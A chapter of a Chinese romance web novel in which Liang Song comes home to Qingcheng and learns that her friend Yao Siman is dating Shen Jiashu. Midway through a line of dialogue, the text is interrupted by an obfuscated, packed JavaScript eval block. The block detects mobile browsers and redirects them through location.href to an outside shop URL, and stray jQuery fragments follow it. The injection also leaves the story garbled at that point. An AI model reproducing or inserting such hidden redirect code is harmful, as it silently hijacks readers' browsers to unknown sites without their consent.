50. 第 50 章
作品:《这真心话是非说不可吗?》 回到青城的那天,青城下了今年的第一场雪。
恰好是周末,姚思曼说自己有时间,主动提出要来机场接梁颂,还可以顺便在外面吃个饭再回家。
相比于郑临风,梁颂自然更想见到姚思曼,便去向郑临风请示。郑临风大发慈悲地批准了,但要求她第二天要到公司找自己报到,还有工作要跟她谈。
梁颂暂时可不想考虑什么工作不工作的问题了,先满口答应下来。
姚思曼打来电话,说天气不好堵在路上了,让她多等一会儿。
梁颂在里面待得无聊,索性去了室外。
空中仍在飘雪,空气冷得刺骨,她紧了紧大衣的领口,伸出右手。小片的雪花晃晃悠悠地落在她的掌心,旋即融化,化作了极小的一滴水。
梁颂搓了搓手,呼出一口白气,望着渐渐被白雪染色的世界,内心很是平和。
等了差不多二十分钟,姚思曼终于到了,两人保持着通话状态,去找对方会合。
姚思曼一见面就热情地给了她一个大大的拥抱:“哇,感觉有一万年没有见到你了!”
梁颂笑起来:“太夸张了吧。”
“并非夸张,是真的!”姚思曼一边走一边指天誓日地说,“你知道吗?昨晚我还梦到你了呢。”
“是吗?那你梦到我什么了?”
姚思曼一脸沉痛:“我梦见我们在考试,我只有第一题会坐做,后面的一道也做不出来,只能干瞪眼,你就在我旁边唰唰唰地写,我一着急,就醒了。”
“……好了你别说了,我开始焦虑了。”
到了姚思曼的车边,姚思曼先上了车。
梁颂把行李箱丢进后备箱,绕到副驾驶那一侧,一拉开车门就被眼前的景象惊呆得瞪大了双眼。
姚思曼抱着一大捧花,笑眯眯地说:“祝贺杀青,梁小颂,恭喜你又朝着大明星迈进了一步。”
梁颂笑着坐进车里,接过她手上的花:“谢谢全世界最好的思曼。——所以,你打算带我去哪儿吃饭庆祝?”
“我选了一家相当不错的私房菜,你一定会喜欢的。”姚思曼顿了顿,又小心翼翼地说,“我还带了一个人,他会直接到店里等我们。”
“嗯?”梁颂皱了下眉,恍然,“哦,难道是罗川?——等等,你们不会已经在谈了但没有告诉我吧。”
“是在谈了,但不是和罗川。”
梁颂愈发好奇:“咦?那是谁入了你的法眼?”
姚思曼观察她的神色,艰难地开口:“沈嘉树。”
梁颂沉默了。
姚思曼见她不说话,试探着叫:“梁小颂?”
“嗯。”
“我知道这有点——”
“你先等等。”梁颂打断了姚思曼的话,说,“让我先确认一下,你说的是那个沈嘉树吧。”
“……是。”
原来如此,梁颂联想到进组不久时和姚思曼打的那通电话,那时候她欲言又止的,好像有什么心事在瞒着自己。
如果是这样,那就说得通了。
梁颂想明白了,闭上眼睛,深吸了一口气,激情输出:“你疯了吧姚思曼,沈嘉树?那个沈嘉树?你不是知道他是什么样的人吗?为什么要这么做?你上次不还说罗川挺好的吗?你们两个也很聊得来,怎么变得那么快?”
“好啦,你别激动嘛,听我慢慢说。”姚思曼苦着脸,“我也没想到事情会发展成现在这样的。”
“你自己选的还好意思说这话。”梁颂没好气地说,“来吧,你解释吧,我倒要听听你怎么说。”
姚思曼似乎也不知道从哪里开始说,支吾了半天,说:“要不还是你来问吧,我保证有问必答。”
“行。”梁颂也不含糊,问,“从什么时候开始的?”
“也就是这个月初的事。”
那还好,没有很久,梁颂点了点头,又问:“谁告白的?”
“他。”
梁颂“嗯”了声,双手环胸,突然就不知道该怎么接着往下问了,满脑子只有一个问题:“为什么?为什么?Why?他到底哪儿好?”
“就很用心啊。”姚思曼小声说,“他会记住我的喜好,每天联系我,隔三差五地约我出去玩。我提到什么喜欢的东西他都会记下来,然后当作小惊喜送给我。他还很会哄人开心,我心情不好时他都会及时回应,能接住我的各种情绪。”
那的确是用了心的,梁颂不得不承认,但是……
“为什么?罗川呢?他都不管朋友的心情吗?”
“哎呀,我跟他本来也没什么。”姚思曼说,“我们就短暂又平淡地聊了那么一小阵,他也许也没那么中意我吧。”
“哦。”梁颂凉凉地说,“你们两个都是一时上头,来得快,去得也快。”
“那你要非要这么说,也不是不行。”
梁颂没辙了:“行吧,反正感情的事外人也不能插手太多。”但她又实在不放心,问,“你对沈嘉树是一时上头吗?你喜欢他吗?”
姚思曼想了半晌:“也喜欢吧。”
梁颂从她的态度有了判断:“那看来是没那么喜欢。”
姚思曼没有否认。
“行吧。”梁颂叹气,“如果是单纯地谈着很开心,那也无所谓,但要是有了进一步发展的打算,那你就要慎之再慎了。”
“你看你说到哪儿去了。”姚思曼嘀咕,“我才刚开始好吧,完全没有考虑过那么长远的问题。”
梁颂竖起大拇指:“活在当下是吧,可以的。”
“……”姚思曼翻了个白眼,“阴阳怪气是吧梁小颂。哎,我说你怎么这次回来嘴这么不饶人呢,你受刺激了啊。”
“哈?怎么扯到我身上了。”
“本来就是嘛,你今天凶巴巴的,好吓人。”
“我还吓人?”梁颂不可置信地指了指自己,“吓人的明明是你好不好,电话和信息里都瞒得密不透风的,结果一见面就给我爆个大雷,你生怕我血压低是不是?”
“好好好,我的错。”姚思曼毕竟心虚,毫不犹豫地滑跪认错,又信誓旦旦地表示,“但我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147944|186901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发誓,我这次一定保持清醒不犯傻,只能我甩他,决不给他甩我的机会。”
“哎,你也就说说罢了。”梁颂回忆起姚思曼那位闹心的前任以及他们两个的恩怨情仇,自己都闹心起来,心累地摆了摆手,“算了算了,我不想听了,该说的我都跟你说了,你自己长点心吧。”
“不说我了,说你!”姚思曼巴不得梁颂暂时放过自己,赶紧把话题转到她身上,八卦地问,“你和陈以年怎么样了?我还以为你们会一起回来的。”
梁颂心不在焉地摆弄怀里的花瓣,随口说:“他不回青城,去别的地方了。”
“哦——那看来还是有交流的嘛。”
“他非要告诉我的。”
姚思曼顿时露出了了然的笑,模仿着她的语气重复:“嗯嗯,他非要告诉你。”
重复还还不够,还着重强调了“非要”两个字。
梁颂无奈地瞥她:“收一收啊,我们又没谈。”
“你们你们。”姚思曼很敏锐地抠字眼,继而断言说,“我看快了。”
梁颂对此不置一词,却不由得想起了前一晚的事。
“尽管很想和你一起回青城,可惜不凑巧要去赶别的工作,只能暂时跟你分开了。”当时,陈以年是这样说的,脸上还带着微微的笑意,“不过,想我了可以给我打电话。”
自己怎么说的来着?
哦,那一瞬间,自己也不知道脑子出了什么问题,脱口而出问了一句:“什么时候都行?”
陈以年愣了愣,随即笑意愈深:“什么时候都行,全天待机。”
“如果在工作呢?”
陈以年也不觉得她在故意找茬,清晰明了地回答:“那就在看到后第一时间回复。”
啊,自己怎么会说那些呢,搞得好像自己真的离不开他,真的在认真地考虑给他打电话方不方便这个问题一样。
姚思曼抽空瞄了她一眼,见她目视前方,眼神发直,摆弄花瓣的手指也不动了,奇怪地叫她:“梁小颂,你怎么走神了,在想什么?”
梁颂回过神来,摇了摇头。
姚思曼看她大概不想说,也就没有强求,说:“梁小颂,我想提个小小的请求。”
“什么啊,说得这么卑微。”
姚思曼有点不好意思地笑了笑,说:“待会儿见到沈嘉树,你给我个面子,嘴下稍微留点情,好不好?”
“嗯?这就护上短了?”
“哪儿能啊,我这不是怕你们一言不合吵起来嘛,吵架伤身,我是为你好。”
人一旦有心维护另一个人,真是什么强词夺理的话都能理直气壮地说出来,梁颂简直没脾气,只能应允:“行。”但立即补充说,“但前提是,他也不能存心惹我。”
姚思曼比了个OK的手势:“放心。”
梁颂摩拳擦掌,在心里暗暗地想,很好,就让自己再去会会这个沈嘉树,好好观察他接近姚思曼究竟是不是居心不良,假如他真有什么不可告人的目的,自己一定会毫不客气地戳穿他,决不能让姚思曼吃亏。

